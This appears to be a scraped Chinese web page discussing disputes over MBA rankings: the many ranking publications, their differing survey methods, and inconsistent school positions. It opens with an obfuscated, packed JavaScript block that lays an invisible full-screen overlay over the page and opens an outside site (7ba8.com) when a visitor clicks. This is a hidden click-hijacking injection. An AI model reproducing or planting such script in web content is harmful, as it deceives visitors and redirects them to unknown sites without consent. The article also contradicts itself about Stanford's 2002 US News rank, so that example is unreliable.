<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>谁关心商学院排名？有志于攻读MBA的青年学子、忐忑不安的商学院院长、待价而沽的商学院教授，当然也包括财经记者、猎头公司和五百大企业的雇主。排名为商学院带来学生，正如影展为电影带来观众，而且效果之明显让那些号称对排名冷感的学者专家也不得不正视。然而，随着MBA排名发挥的影响力与日俱增，环绕着MBA排名的争议也甚嚣尘上。
第一个争议是到底那个排名才算数。目前我们较耳熟能详的商学院排名“品牌”如《商业周刊》、《金融时报》、《华尔街日报》，还有晚近才推出的《经济学家》、《福布斯》杂志等等，保守估计总数在半打到一打之间。由于排名品牌众多，常见不同的学校在媒体上标榜自己是“年度最佳商学院”，令人眼花缭乱。
MBA排名的第二个争议就是，到底那种调查方法更“好”。目前各个媒体的调查方法和调查对象五花八门。简单来说，现在MBA排名的调查方法可以大致分为 消费者意见、基本情况、毕业生薪水三种，意见调查如《商业周刊》、《美国新闻与世界报导》、《华尔街日报》、《经济学家》等，以征询和商学院关系最大的一群人“学生、院长、雇主”的意见为主；基本情况调查是每个媒体多少都会使用的方法，要求商学院填写一些资料，如学生入学GMAT成绩、教师背景及教学资 源；薪水调查则如《金融时报》及《福布斯》杂志，以毕业生的薪水数据为主。
理论上，这些调查方法和结果可以互相补充，但很少商学院愿意承认自己在某方面明显不足。例如，在2002年《美国新闻与世界报导》荣登冠军的斯坦福商学 院，在同年的《美国新闻世界报导》排名11，在《华尔街日报》排名第45，毫无疑问，这个时候校方和媒体都需要提供某种解释。不仅一个学校在同一年的不同排名中相距甚远，而且在历年排名中的“上窜下跳”也令人迷惑。 |
收藏